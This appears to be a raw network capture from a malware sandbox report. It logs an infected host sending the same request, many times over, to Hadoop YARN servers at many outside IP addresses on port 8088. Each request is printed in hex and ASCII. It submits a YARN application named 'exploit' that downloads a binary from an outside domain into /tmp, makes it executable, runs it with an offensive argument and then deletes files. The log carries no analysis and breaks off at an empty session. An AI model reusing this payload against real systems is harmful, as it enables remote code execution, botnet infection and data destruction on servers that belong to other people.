Sep 12, 2024 00:38:06.124245882 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 114.142.230.93:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:06.412020922 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 114.142.230.93:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:06.955971956 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 114.142.230.93:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	46942	208.35.19.171	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:08.843389988 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 208.35.19.171:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:10.571475029 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 208.35.19.171:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:13.035145044 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 208.35.19.171:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	35222	118.143.223.55	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:17.849370956 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 118.143.223.55:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:19.306299925 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 118.143.223.55:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:21.194071054 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 118.143.223.55:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	33516	157.173.158.186	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:23.852659941 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 157.173.158.186:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:25.257540941 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 157.173.158.186:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:27.049277067 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 157.173.158.186:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	52914	61.221.100.106	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:32.861535072 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 61.221.100.106:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:33.896344900 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 61.221.100.106:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:35.144198895 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 61.221.100.106:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:37.607888937 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 61.221.100.106:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:42.727181911 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 61.221.100.106:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	55228	184.87.98.222	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:41.869534969 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 184.87.98.222:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:42.279247999 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 184.87.98.222:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	54040	81.209.218.53	8088

Timestamp	Bytes transferred	Direction	Data
